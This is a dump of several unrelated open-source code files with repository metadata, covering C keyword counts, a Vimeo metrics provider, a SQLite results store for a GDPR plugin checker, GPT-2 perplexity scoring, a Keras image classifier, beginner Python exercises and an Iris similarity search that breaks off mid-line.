1\n\nFILESYSTEM = 'C:/Users/win10/Downloads/linux-master'\n# [Finished in 241.2s]\n# traverse(FILESYSTEM)\n# DICT = {'auto': 1252, 'break': 1138, 'case': 14699, 'char': 95635, \\\n#  'const': 147830, 'continue': 1459, 'default': 10788, \\\n#  'do': 24336, 'double': 1152, 'else': 91908, 'enum': 25745, \\\n#  'extern': 197, 'float': 293, 'for': 237718, 'goto': 936, \\\n#  'if': 138137, 'int': 420882, 'long': 119497, 'register': 34653, \\\n#  'return': 24468, 'short': 11025, 'signed': 773, 'sizeof': 1656, \\\n#  'static': 1693, 'struct': 388855, 'switch': 4974, 'typedef': 132, \\\n#  'union': 4705, 'unsigned': 116660, 'void': 203138, 'volatile': 2407, 'while': 19346}\nDICT = {'auto': 1283, 'break': 1647, 'case': 245281, 'char': 118540, \\\n        'const': 201463, 'continue': 1603, 'default': 11271, 'do': 34724, \\\n        'double': 1620, 'else': 182761, 'enum': 67035, 'extern': 38270, \\\n        'float': 829, 'for': 330663, 'goto': 157655, 'if': 1225682, 'int': 757004, \\\n        'long': 126724, 'register': 39241, 'return': 753273, 'short': 12079, \\\n        'signed': 1074, 'sizeof': 1730, 'static': 615569, 'struct': 1090692, \\\n        'switch': 49507, 'typedef': 15423, 'union': 17312, 'unsigned': 280615, \\\n        'void': 329291, 'volatile': 4586, 'while': 46306}\nprint(DICT)\n\n# 通过频率估计概率，得到一个范围在0~1之间的概率\ndenominator = 0\nfor key in alphabet:\n    denominator += DICT[key]\n# 将字典中的信息写入文件record.txt\nwith open('record.txt', 'w+') as f:\n    for key in alphabet:\n        DICT[key] = ('%.4f' %(DICT[key]/denominator))\n        f.write(key + ':' + str(DICT[key]) + '\\n')\n    f.close()\n","repo_name":"WangYoudian/Useful-Toolkit","sub_path":"C语言符号的频率统计/关键词/statictics.py","file_name":"statictics.py","file_ext":"py","file_size_in_byte":2844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"24636803792","text":"from totalimpact.providers import provider\nfrom totalimpact.providers.provider import Provider, ProviderContentMalformedError\n\nimport simplejson, os, re\n\nimport logging\nlogger = logging.getLogger('ti.providers.vimeo')\n\nclass Vimeo(Provider):  \n\n    example_id = (\"url\", \"http://vimeo.com/48605764\")\n\n    url = \"http://vimeo.com\"\n    descr = \"Vimeo: Your videos belong here.\"\n    biblio_url_template = \"http://vimeo.com/api/v2/video/%s.json\"\n    aliases_url_template = \"http://vimeo.com/api/v2/video/%s.json\"\n    metrics_url_template = \"http://vimeo.com/api/v2/video/%s.json\"\n    provenance_url_template = \"http://vimeo.com/%s\"\n\n    static_meta_dict = {\n        \"plays\": {\n            \"display_name\": \"plays\",\n            \"provider\": \"Vimeo\",\n            \"provider_url\": \"http://vimeo.com\",\n            \"description\": \"The number of people who have played the video\",\n            \"icon\": \"https://secure-a.vimeocdn.com/images_v6/favicon_32.ico\",\n        },\n        \"likes\": {\n            \"display_name\": \"likes\",\n            \"provider\": \"Vimeo\",\n            \"provider_url\": \"http://vimeo.com\",\n            \"description\": \"The number of people who have 'liked' the video\",\n            \"icon\": \"https://secure-a.vimeocdn.com/images_v6/favicon_32.ico\",\n            },\n        \"comments\": {\n            \"display_name\": \"comments\",\n            \"provider\": \"Vimeo\",\n            \"provider_url\": \"http://vimeo.com\",\n            \"description\": \"The number of comments on a video\",\n            \"icon\": \"https://secure-a.vimeocdn.com/images_v6/favicon_32.ico\",\n            }\n    }     \n\n    def __init__(self):\n        super(Vimeo, self).__init__()\n\n    def is_relevant_alias(self, alias):\n        (namespace, nid) = alias\n        if ((\"url\" == namespace) and (\"vimeo.com/\" in nid)):\n            return True\n        else:\n            return False\n\n    def _get_video_id(self, video_url):\n        try:\n            nid_as_vimeo_id = re.findall(\"vimeo.com\\/(\\d+)\", video_url)[0]\n        except IndexError:\n            raise ProviderContentMalformedError(\"No recognizable vimeo id\")\n        return nid_as_vimeo_id\n\n    #override because need to break up id\n    def _get_templated_url(self, template, nid_as_video_url, method=None):\n        nid_as_video_id = self._get_video_id(nid_as_video_url)\n        url = template % (nid_as_video_id)\n        return(url)\n\n    def _extract_biblio(self, page, id=None):\n\n        json_response = provider._load_json(page)\n        this_video_json = json_response[0]\n\n        dict_of_keylists = {\n            'title':        ['title'],\n            'authors':      ['user_name'],\n            'published_date': ['upload_date'],\n            'url':          ['url']\n        }\n\n        biblio_dict = provider._extract_from_data_dict(this_video_json, dict_of_keylists)\n\n        try:\n            biblio_dict[\"year\"] = biblio_dict[\"published_date\"][0:4]\n        except KeyError:\n            pass\n\n        biblio_dict[\"repository\"] = \"Vimeo\"\n\n        return biblio_dict    \n\n\n    def _extract_metrics(self, page, status_code=200, id=None):        \n        if status_code != 200:\n            if status_code == 404:\n                return {}\n            else:\n                raise(self._get_error(status_code))\n\n        if not \"user_id\" in page:\n            raise ProviderContentMalformedError\n\n        json_response = provider._load_json(page)\n        this_video_json = json_response[0]\n\n        dict_of_keylists = {\n            'vimeo:plays' : ['stats_number_of_plays'],\n            'vimeo:likes' : ['stats_number_of_likes'],\n            'vimeo:comments' : ['stats_number_of_comments']\n        }\n\n        metrics_dict = provider._extract_from_data_dict(this_video_json, dict_of_keylists)\n\n        return metrics_dict\n","repo_name":"ourresearch/total-impact-core","sub_path":"totalimpact/providers/vimeo.py","file_name":"vimeo.py","file_ext":"py","file_size_in_byte":3725,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"22"}
+{"seq_id":"20812753670","text":"# GDPR Checker - Results.py\n# Patrick Thomas pwt5ca\n# Created 210101\n\nimport sqlite3\nimport time\nfrom datetime import datetime\nfrom sqlite3.dbapi2 import Connection\nfrom typing import Iterable, List, Optional, Tuple\n\nglobal __DB_TIMEOUT, __PLUGIN_TIME, __PLUGIN_ID, __DETECTOR_COUNTER, __DATABASE_DIR\n__DB_TIMEOUT = 60  # Length to wait until giving up on sqlite database.\n__PLUGIN_TIME = str(datetime.now())\n__PLUGIN_ID = 0\n__DETECTOR_COUNTER = 0\n__DATABASE_DIR = \"\"\n\n\ndef create_table(database_dir: str):\n    global __DATABASE_DIR\n    __DATABASE_DIR = database_dir\n    try:\n        with sqlite3.connect(__DATABASE_DIR, timeout=__DB_TIMEOUT) as conn:\n            c = conn.cursor()\n            c.execute(\n                \"\"\" CREATE TABLE IF NOT EXISTS \"Plugins\" (\n                        \"plugin ID\"\tINTEGER,\n                        \"plugin name\"\tTEXT NOT NULL,\n                        \"date analyzed\"\tTEXT NOT NULL,\n                        PRIMARY KEY(\"plugin ID\" AUTOINCREMENT)\n                    )\"\"\"\n            )\n            c.execute(\n                \"\"\" CREATE TABLE IF NOT EXISTS \"Detectors\" (\n                    \"detector ID\"\tINTEGER NOT NULL,\n                    \"plugin ID\"\tINTEGER NOT NULL,\n                    \"detector name\"\tTEXT NOT NULL,\n                    \"detector type\"\tTEXT NOT NULL,\n                    \"file name\"\tTEXT NOT NULL,\n                    \"line number\"\tINTEGER NOT NULL,\n                    \"node ID\"\tINTEGER NOT NULL,\n                    \"description\"\tTEXT,\n                    \"cryptography method\"\tTEXT,\n                    \"api endpoint\"\tTEXT,\n                    \"personal data\" TEXT,\n\t                PRIMARY KEY(\"detector ID\",\"plugin ID\")\n                )\"\"\"\n            )\n            c.execute(\n                \"\"\" CREATE TABLE IF NOT EXISTS \"Paths\" (\n                    \"path ID\"\tINTEGER NOT NULL,\n                    \"plugin ID\"\tINTEGER NOT NULL,\n                    \"node index\"\tINTEGER NOT NULL,\n                    \"node ID\"\tINTEGER NOT NULL,\n                    \"AST type\"\tTEXT NOT NULL,\n                    \"variable name\"\tTEXT,\n                    \"caller\"\tTEXT,\n                    \"callee\"\tTEXT,\n                    \"file name\"\tTEXT,\n                    \"line number\"\tINTEGER,\n                    \"detector type\"\tTEXT,\n                    PRIMARY KEY(\"plugin ID\",\"path ID\",\"node index\")\n                );\"\"\"\n            )\n            c.execute(\n                \"\"\" CREATE TABLE IF NOT EXISTS \"PathAnalyzer\" (\n                    \"plugin ID\" INTEGER NOT NULL,\n                    \"path analyzer topic\"   TEXT NOT NULL,\n                    \"path ID\"   INTEGER NOT NULL,\n                    \"stage\" TEXT NOT NULL,\n                    \"node id\"   INTEGER NOT NULL,\n                    \"level\" TEXT NOT NULL,\n                    \"description\"   TEXT,\n                    PRIMARY KEY(\"plugin ID\",\"path analyzer topic\",\"path ID\",\"stage\",\"node id\")\n                );\"\"\"\n            )\n            c.execute(\n                \"\"\" CREATE TABLE IF NOT EXISTS \"PathAnalyzerDecision\" (\n                    \"plugin ID\" INTEGER NOT NULL,\n                    \"path analyzer topic\"   TEXT NOT NULL,\n                    \"stage\" TEXT NOT NULL,\n                    \"compliant\" TEXT NOT NULL,\n                    PRIMARY KEY(\"plugin ID\", \"path analyzer topic\", \"stage\")\n                );\"\"\"\n            )\n            c.execute(\n                \"\"\" CREATE TABLE IF NOT EXISTS \"SourceSink\" (\n                    \"plugin ID\" INTEGER NOT NULL,\n                    \"source id\"   INTEGER NOT NULL,\n                    \"sink id\"   INTEGER NOT NULL,\n                    PRIMARY KEY(\"plugin ID\",\"source id\",\"sink id\")\n                );\"\"\"\n            )\n            conn.commit()\n            c.execute(\n                \"\"\" CREATE VIEW IF NOT EXISTS BatchResults AS\n                SELECT *, (\n                    SELECT COUNT(*) FROM \"Detectors\" as t2\n                    WHERE t.\"plugin ID\" = t2.\"plugin ID\" AND (t2.\"detector type\" = \"storage\" OR t2.\"detector type\" = \"database\" OR t2.\"detector type\" = \"retrieval\")\n                ) as \"num storage\", (\n                    SELECT COUNT(*) FROM \"Detectors\" as t2\n                    WHERE t.\"plugin ID\" = t2.\"plugin ID\" AND (t2.\"detector type\" = \"cryptography\")\n                ) as \"num crypto\", (\n                    SELECT group_concat(\"api endpoint\", \",\") FROM \"Detectors\" as t2\n                    WHERE t.\"plugin ID\" = t2.\"plugin ID\" AND \"api endpoint\" IS NOT NULL\n                ) as apis\n                FROM \"Plugins\" as t;\n                \"\"\"\n            )\n            conn.commit()\n    except sqlite3.OperationalError:\n        # Wait for someone else to make the database...\n        time.sleep(10)\n\n\ndef register_plugin(database_dir: str, plugin_name: str):\n    global __PLUGIN_ID, __PLUGIN_TIME\n    if not __PLUGIN_ID:\n        create_table(database_dir)\n        with sqlite3.connect(__DATABASE_DIR, timeout=__DB_TIMEOUT) as conn:\n            c = conn.cursor()\n            c.execute(\n                \"\"\"INSERT INTO \"Plugins\" (\"plugin name\", \"date analyzed\") VALUES (?, ?) \"\"\",\n                (plugin_name, __PLUGIN_TIME),\n            )\n            conn.commit()\n\n            c.execute(\n                \"\"\"SELECT MAX(\"plugin ID\") FROM \"Plugins\" WHERE \"plugin name\"=? AND \"date analyzed\"=? \"\"\",\n                (plugin_name, __PLUGIN_TIME),\n            )\n            __PLUGIN_ID = int(c.fetchone()[0])\n\n\ndef write_plugin_detector_results(\n    detector_name: str = \"\",\n    detector_type: str = \"\",\n    file_name: str = \"\",\n    line_number: int = -1,\n    node_ID: int = -1,\n    description: str = \"\",\n    cryptography_method: Optional[str] = None,\n    api_endpoint: List[str] = None,\n    personal_data: List[str] = None\n):\n    global __DETECTOR_COUNTER\n    print(f\"{description},{cryptography_method},{api_endpoint}\")\n    with sqlite3.connect(__DATABASE_DIR, timeout=__DB_TIMEOUT) as conn:\n        cursor = conn.cursor()\n        cursor.execute(\n            \"\"\"INSERT INTO \"Detectors\"\n        (\"detector ID\", \"plugin ID\", \"detector name\", \"detector type\", \"file name\", \"line number\", \"node ID\", \"description\", \"cryptography method\", \"api endpoint\",\"personal data\")\n        VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) \"\"\",\n            (\n                __DETECTOR_COUNTER,\n                __PLUGIN_ID,\n                detector_name,\n                detector_type,\n                file_name,\n                line_number,\n                node_ID,\n                description,\n                cryptography_method,\n                str(api_endpoint),\n                str(personal_data)\n            ),\n        )\n        conn.commit()\n        __DETECTOR_COUNTER = __DETECTOR_COUNTER + 1\n\n\ndef get_conn() -> Connection:\n    return sqlite3.connect(__DATABASE_DIR, timeout=__DB_TIMEOUT)\n\n\ndef write_data_flow_path_row(\n    path_id: int,\n    row_num: int,\n    node_id: int,\n    ast_type: str = \"\",\n    variable_name: str = \"\",\n    caller: str = \"\",\n    callee: str = \"\",\n    file_name: str = \"\",\n    line_number: int = -1,\n    detector_type: str = \"\",\n):\n    global __DETECTOR_COUNTER\n    with sqlite3.connect(__DATABASE_DIR, timeout=__DB_TIMEOUT) as conn:\n        cursor = conn.cursor()\n        cursor.execute(\n            \"\"\"INSERT INTO \"Paths\"\n        (\"path ID\", \"plugin ID\", \"node index\", \"node ID\", \"AST type\", \"variable name\", \"caller\", \"callee\", \"file name\", \"line number\", \"detector type\")\n        VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) \"\"\",\n            (\n                path_id,\n                __PLUGIN_ID,\n                row_num,\n                node_id,\n                ast_type,\n                variable_name,\n                caller,\n                callee,\n                file_name,\n                line_number,\n                detector_type,\n            ),\n        )\n        conn.commit()\n\n\ndef write_data_flow_path_row_many(\n    data: List[\n        Tuple[\n            int,\n            int,\n            int,\n            str,\n            str,\n            str,\n            str,\n            str,\n            int,\n            str,\n        ]\n    ]\n):\n    global __DETECTOR_COUNTER\n    with sqlite3.connect(__DATABASE_DIR, timeout=__DB_TIMEOUT) as conn:\n        cursor = conn.cursor()\n        cursor.executemany(\n            \"\"\"INSERT INTO \"Paths\"\n                (\"plugin ID\", \"path ID\", \"node index\", \"node ID\", \"AST type\", \"variable name\", \"caller\", \"callee\", \"file name\", \"line number\", \"detector type\")\n            VALUES\n                (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\n            \"\"\",\n            [(__PLUGIN_ID, *d) for d in data],\n        )\n        conn.commit()\n\ndef write_source_sink(sourceSinkList:List[Tuple[int,int]]):\n    with sqlite3.connect(__DATABASE_DIR, timeout=__DB_TIMEOUT) as conn:\n        cursor = conn.cursor()\n        cursor.executemany(\n            \"\"\"\n            INSERT INTO \"SourceSink\"\n                (\"plugin ID\", \"source id\", \"sink id\")\n            VALUES\n                (?, ?, ?)\n            \"\"\",\n            [(__PLUGIN_ID, *d) for d in sourceSinkList],\n        )\n        conn.commit()\ndef write_path_analyzer_decision(path_analyzer_topic: str, stage: str, compliant: bool):\n    with sqlite3.connect(__DATABASE_DIR, timeout=__DB_TIMEOUT) as conn:\n        cursor = conn.cursor()\n        cursor.execute(\n            \"\"\"\n            INSERT INTO \"PathAnalyzerDecision\"\n                (\"plugin ID\", \"path analyzer topic\", \"stage\", \"compliant\")\n            VALUES\n                (?, ?, ?, ?)\n            \"\"\",\n            (__PLUGIN_ID, path_analyzer_topic, stage, str(compliant)),\n        )\n        conn.commit()\n\n\ndef write_path_analyzer_log_row(\n    path_analyzer_topic: str,\n    path_id: int,\n    stage: str,\n    node_id: int,\n    level: int,\n    description: str,\n    types: Iterable[str],\n):\n    with sqlite3.connect(__DATABASE_DIR, timeout=__DB_TIMEOUT) as conn:\n        cursor = conn.cursor()\n        cursor.execute(\n            \"\"\"\n            INSERT INTO \"PathAnalyzer\"\n                (\"plugin ID\", \"path analyzer topic\", \"path ID\", \"stage\", \"node id\", \"level\", \"description\")\n            VALUES\n                (?, ?, ?, ?, ?, ?, ?)\n            \"\"\",\n            (\n                __PLUGIN_ID,\n                path_analyzer_topic,\n                path_id,\n                stage,\n                node_id,\n                level,\n                \", \".join(types) + \" | \" + description,\n            ),\n        )\n        conn.commit()\n\n\ndef get_report() -> str:\n    if not __PLUGIN_ID:\n        return \"\"\n\n    with sqlite3.connect(__DATABASE_DIR, timeout=__DB_TIMEOUT) as conn:\n        plugin_name = \"\"\n        c = conn.cursor()\n        c.execute(\n            \"\"\"SELECT \"plugin name\" FROM Plugins WHERE \"plugin ID\"=?\"\"\",\n            (__PLUGIN_ID,),\n        )\n        plugin_name = c.fetchone()[0]\n\n        detector_data = []\n        c = conn.cursor()\n        c.execute(\n            \"\"\"SELECT \"plugin name\", \"detector name\", \"detector type\", \"file name\", \"line number\", \"node ID\", \"description\", \"cryptography method\", \"api endpoint\" FROM Plugins NATURAL JOIN Detectors WHERE \"plugin ID\"=?\"\"\",\n            (__PLUGIN_ID,),\n        )\n        for p_name, d_name, d_type, f_name, line, n_id, desc, crypt, api in c:\n            detector_data.append(\n                {\n                    \"plugin name\": p_name,\n                    \"detector name\": d_name,\n                    \"detector type\": d_type,\n                    \"file name\": f_name,\n                    \"line number\": line,\n                    \"node ID\": n_id,\n                    \"description\": desc,\n                    \"cryptography method\": crypt,\n                    \"api endpoint\": api,\n                }\n            )\n\n        path_data = []\n        c = conn.cursor()\n        c.execute(\n            \"\"\"SELECT \"path ID\", \"plugin name\", \"node index\", \"node ID\", \"AST type\", \"variable name\", \"caller\", \"callee\", \"file name\", \"line number\", \"detector type\" FROM Plugins NATURAL JOIN Paths WHERE \"plugin ID\"=?\"\"\",\n            (__PLUGIN_ID,),\n        )\n        for (\n            path_id,\n            p_name,\n            n_index,\n            n_id,\n            ast_type,\n            var_name,\n            caller,\n            callee,\n            f_name,\n            line,\n            d_type,\n        ) in c:\n            path_data.append(\n                {\n                    \"path ID\": path_id,\n                    \"plugin name\": p_name,\n                    \"node index\": n_index,\n                    \"node ID\": n_id,\n                    \"AST type\": ast_type,\n                    \"variable name\": var_name,\n                    \"caller\": caller,\n                    \"callee\": callee,\n                    \"file name\": f_name,\n                    \"line number\": line,\n                    \"detector type\": d_type,\n                }\n            )\n\n    # Print in markdown format.\n    strs: List[str] = []\n    strs.append(f\"# {plugin_name}\")\n    strs.append(\"\")\n    strs.append(f\"## Detector Results and Nodes of Interest\")\n    strs.append(\"\")\n\n    detector_data.sort(key=lambda x: x[\"line number\"])\n    detector_data.sort(key=lambda x: x[\"file name\"])\n    for d in detector_data:\n        s = f\"\"\" -  {d['file name']}:{d['line number']} -- {d['detector name']}\n     -  node ID: {d['node ID']}\n     -  detector type: {d['detector type']}\n     -  description: {d['description']}\"\"\"\n        strs.append(s)\n        if d[\"cryptography method\"]:\n            strs.append(f\"     -  cryptography method: {d['cryptography method']}\")\n        if d[\"api endpoint\"]:\n            strs.append(f\"     -  API endpoint: {d['api endpoint']}\")\n\n    return \"\\n\".join(strs)\n\n\nif __name__ == \"__main__\":\n    # db = \"./test.sqlite\"\n    # register_plugin(db, \"MyPlugin\")\n    # write_plugin_detector_results(\n    #     detector_name=\"TestDetector\",\n    #     detector_type=\"storage\",\n    #     file_name=\"myfile.php\",\n    #     line_number=100,\n    #     node_ID=1000,\n    #     description=\"This is a test.\",\n    # )\n    # write_plugin_detector_results(\n    #     detector_name=\"TestDetector\",\n    #     detector_type=\"storage\",\n    #     file_name=\"myfile2.php\",\n    #     line_number=80,\n    #     node_ID=1000,\n    #     description=\"This is a test.\",\n    #     api_endpoint=\"https://google.com/\"\n    # )\n    # write_plugin_detector_results(\n    #     detector_name=\"TestDetector\",\n    #     detector_type=\"cryptography\",\n    #     file_name=\"myfile.php\",\n    #     line_number=102,\n    #     node_ID=1000,\n    #     description=\"This is a test.\",\n    #     cryptography_method=\"sha512\"\n    # )\n\n    print(get_report())\n","repo_name":"faysalhossain2007/CHKPLUG","sub_path":"neo4j/src/Results.py","file_name":"Results.py","file_ext":"py","file_size_in_byte":14465,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"}
+{"seq_id":"5706883825","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# code from CodeFuture@CA\n\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport requests\nimport json\nimport time\n\nurl = 'https://lab.isaaclin.cn/nCoV/api/overall'\ndata = requests.get(url).text\n#print(data)\n\nalist = json.loads(data) #a dict\nresults = alist[\"results\"] #a list\nresult = results[0] # a dict\n\nlocaltime = time.localtime(result[\"updateTime\"] / 1000)\ndt = time.strftime(\"%Y-%m-%d\",localtime)\n\nprint(\"总确诊数：%s, 日期：%s\" % (result[\"confirmedCount\"], dt))\n\n\n\n\n","repo_name":"zhangyuenet/codefuture","sub_path":"python/Phase2/L23.API和JSON格式/getoverall.py","file_name":"getoverall.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"26626750205","text":"from FileOperator import FileOperator\nnumbers = FileOperator(\"data/data12.txt\").change_to_integer()\n\ndef weighted_sum(data):\n    weighted = \"\"\n    for number in data[1:]:\n        sum = 0\n        number = str(number)\n        for i in range(0, len(number)):\n            sum += (int(number[i]) * (i+1))\n        weighted += \" \" + str(sum)\n    return weighted\n\n\nprint(weighted_sum(numbers))","repo_name":"atrzewik/LearningPython","sub_path":"Weighted_sum_of_digits.py","file_name":"Weighted_sum_of_digits.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"33467586982","text":"'''\nCompletare la funzione in modo che presa una stringa conti il numero di parole contenute. Il sepratore tra parole è lo spazio.\nes: Stringa Di Prova --> 3\n    Altra Stringa Di Prova --> 4\n\n\n'''\ndef countWord(inputString):\n    numberOfWord=0\n    #-------------------------------------------------------------------------------------- your code here!!!\n\n\n\n\n\n\n\n    #-------------------------------------------------------------------------------------- end of your code !!!\n    return numberOfWord\n\n\n\n\nif __name__ == '__main__':\n    stringheDitest=['Prova','Uno Due Tre Quattro','Per Me Si Va Ne La Città Dolente']\n    risultato=[1,4,8]\n\n    for i in range(len(risultato)):\n        if(risultato[i]==countWord(stringheDitest[i])):\n            print('OK test '+str(i)+' ok')\n        else:\n            print('FAIL test with string -' + stringheDitest[i]+ '- counted '+str(countWord(stringheDitest[i]))+' expected '+str(risultato[i]))","repo_name":"RiccardoNizzolo/corso-python","sub_path":"day1/esercizi/ex2_stringhe.py","file_name":"ex2_stringhe.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"592063937","text":"import math\nimport torch\nimport numpy as np\nclass GPT2LM:\n    def __init__(self, use_tf=False, device=None, little=False):\n        \"\"\"\n        :param bool use_tf: If true, uses tensorflow GPT-2 model.\n        :Package Requirements:\n            * **torch** (if use_tf = False)\n            * **tensorflow** >= 2.0.0 (if use_tf = True)\n            * **transformers**\n\n        Language Models are Unsupervised Multitask Learners.\n        `[pdf] <https://d4mucfpksywv.cloudfront.net/better-language-models/language-models.pdf>`__\n        `[code] <https://github.com/openai/gpt-2>`__\n        \"\"\"\n        import logging\n        logging.getLogger(\"transformers\").setLevel(logging.ERROR)\n        import os\n        os.environ[\"TOKENIZERS_PARALLELISM\"] = \"false\"\n        import transformers\n        self.use_tf = use_tf\n        self.tokenizer = transformers.GPT2TokenizerFast.from_pretrained(\"gpt2-large\")\n\n        if use_tf:\n            self.lm = transformers.TFGPT2LMHeadModel.from_pretrained(\"gpt2\")\n\n        else:\n            self.lm = transformers.GPT2LMHeadModel.from_pretrained(\"gpt2-large\", from_tf=False)\n            self.lm.to(device)\n\n        \n    def __call__(self, sent):\n        \"\"\"\n        :param str sent: A sentence.\n        :return: Fluency (ppl).\n        :rtype: float\n        \"\"\"\n        if self.use_tf:\n            import tensorflow as tf\n            ipt = self.tokenizer(sent, return_tensors=\"tf\", verbose=False)\n            ret = self.lm(ipt)[0]\n            loss = 0\n            for i in range(ret.shape[0]):\n                it = ret[i]\n                it = it - tf.reduce_max(it, axis=1)[:, tf.newaxis]\n                it = it - tf.math.log(tf.reduce_sum(tf.exp(it), axis=1))[:, tf.newaxis]\n                it = tf.gather_nd(it, list(zip(range(it.shape[0] - 1), ipt.input_ids[i].numpy().tolist()[1:])))\n                loss += tf.reduce_mean(it)\n                break\n            return math.exp(-loss)\n        else:\n            ipt = self.tokenizer(sent, return_tensors=\"pt\", verbose=False,  )\n            # print(ipt)\n            # print(ipt.input_ids)\n            try:\n                ppl = math.exp(self.lm(input_ids=ipt['input_ids'].cuda(),\n                                 attention_mask=ipt['attention_mask'].cuda(),\n                                 labels=ipt.input_ids.cuda())[0])\n            except RuntimeError:\n                ppl = np.nan\n            return ppl\n\n\n\n\n\n","repo_name":"thunlp/HiddenKiller","sub_path":"experiments/gptlm.py","file_name":"gptlm.py","file_ext":"py","file_size_in_byte":2393,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"22"}
+{"seq_id":"31364289524","text":"import tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\nimport cv2\nimport os\nfrom tensorflow.keras.optimizers import RMSprop\nfrom PIL import Image\n\nclass callBackFunc (tf.keras.callbacks.Callback):\n    def on_epoch_end(self, epoch, logs = {}):\n            if(logs.get('accuracy')!= None):\n                if(logs.get('accuracy') > 0.998):\n                    print(\"99.8% acc\")\n                    self.model.stop_training = True\n\n\ntrain = ImageDataGenerator(rescale = 1./255)\ntest = ImageDataGenerator(rescale = 1./255)\n\ntrain_gen = train.flow_from_directory(\n    './Model/train',\n    target_size = (200, 200),\n    batch_size = 41, # 10 batches/ total is 980 images\n    class_mode= 'binary'\n)\n\ntest_gen = test.flow_from_directory(\n    './Model/tests',\n    target_size = (200,200),\n    batch_size = 49, # 10 batches/ total is 820 images\n    class_mode= 'binary'\n)\n\nmodel = keras.models.Sequential([\n        keras.layers.Conv2D(32, (3,3), activation = 'relu', input_shape = (200, 200, 3)),\n        keras.layers.MaxPooling2D (2,2),\n        keras.layers.Conv2D(16, (3,3), activation = 'relu'),\n        keras.layers.MaxPooling2D (2,2),\n        keras.layers.Flatten(),\n        keras.layers.Dense(300, activation = 'relu'),\n        keras.layers.Dense(200, activation = 'relu'),\n        keras.layers.Dense(1, activation = 'sigmoid')\n])\n\nmodel.summary()\n\nmodel.compile(\n    loss = 'binary_crossentropy',\n    optimizer = RMSprop(learning_rate = 0.001),\n    metrics = ['accuracy']\n)\n\nmodel.fit(\n    train_gen,\n    steps_per_epoch= 20,\n    epochs = 9,\n    validation_data= test_gen,\n    validation_steps= 20\n)\n\nmodel.save('ModelFile')\n","repo_name":"MostafaH04/Monkey-Host","sub_path":"Model/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"15892286287","text":"s1 = {5,4,9,7,6}\ns2 = {3,9,7}\ns5  = {1,2,5}\n# s3 =s1.union(s2)\n# print(s3)\n# print(s1)\n# s1.update(s2)\n# print(s1)\n\n# s4 = s1.intersection(s2)\n# print(s4)\n# s1.intersection_update(s2)\n# print(s1)\n\n# print(s1.isdisjoint(s2))\n# print(s1.issuperset(s5))\n# print(s1.issubset(s5))\n\n# s1.remove(6)\n# # s1.remove(9)  => raise KeyError if not present in set\n# s1.discard(9)  # does not raise error if not present in set\n# print(s1)\n\ns6 = s1.pop()\nprint(s1)\nprint(s6)\n","repo_name":"divyaprakash001/Full-Stack-Python-Development","sub_path":"Python 100/AllInOne/setMethod.py","file_name":"setMethod.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"23832700918","text":"\ncounter = 0\nfor i in range(0,2):\n    for j in range(0,2):\n        counter += 1\n        if i == 0:\n            print(\"pile\", end='')       \n        else:\n            print(\"face\", end='')\n        if j == 0:\n            print(\" & pile\")\n        else:\n            print(\" & face\")\nprint (f\"il y a {counter} issues en tout\")","repo_name":"seitech/cours","sub_path":"travaux/daishi/envoyer/exo/exo github/exo2/exo2 1.py","file_name":"exo2 1.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"69968879098","text":"import pandas as pd\nimport numpy as np\n\n# Búsqueda por similitud en Iris\n\niris = pd.read_csv(\"iris.data\", header=None)\ndata = iris.iloc[:, :4]\n\n# Eliminar los objetos de consulta de data\n\ndata.drop([15, 82, 121], axis=0, inplace=True)\nprint(data.shape)\n\n# Distancia euclediana ED\nED = lambda X, Y: (sum((X - Y) ** 2)) ** 0.5\n\n\n# RANGE SEARCH\n\ndef rangeSearch(Q, r, data):\n    result = []\n    for id_, element in data.iterrows():\n        dist = ED(Q, element)\n        if dist <= r:\n            result.append((id_, dist))\n    return result\n\n\nprint(rangeSearch(data.iloc[1], 2, data))\nndf = pd.DataFrame(columns=['q15', 'q82', 'q121'])\n\nfor ind in [15, 82, 121]:\n    for r in [0.8, 1.5, 2.6]:\n        Q = iris.iloc[ind, :4]\n        result = rangeSearch(Q, r, data)\n        # precision\n        target = iris.iloc[ind, 4]\n        pr = 0\n        for (id_, dist) in result:\n            if target == iris.iloc[id_, 4]:\n                pr += 1\n        pr = pr / len(result)\n        print(\"Q\" + str(ind) + \": r-\", r, \" :pr-\", pr)\n\n\n# KNN SEARCH\n\ndef knnSearch(Q, k, data):\n    result = []\n    for id_, element in data.iterrows():\n        dist = ED(Q, element)\n        if dist <= r:\n            result.append((id_, dist))\n    result_ord = sorted(result, key=lambda x: x[1])\n    return result_ord[:k]\n\n\nfor ind in [15, 82, 121]:\n    for k in [2, 4, 8, 16, 32]:\n        Q = iris.iloc[ind, :4]\n        result = knnSearch(Q, k, data)\n        # precision\n        target = iris.iloc[ind, 4]\n        pr = 0\n        for (id_, dist) in result:\n            if target == iris.iloc[id_, 4]:\n                pr += 1\n        pr = pr / len(result)\n        print(\"Q\" + str(ind) + \": k-\", k, \" :pr-\", 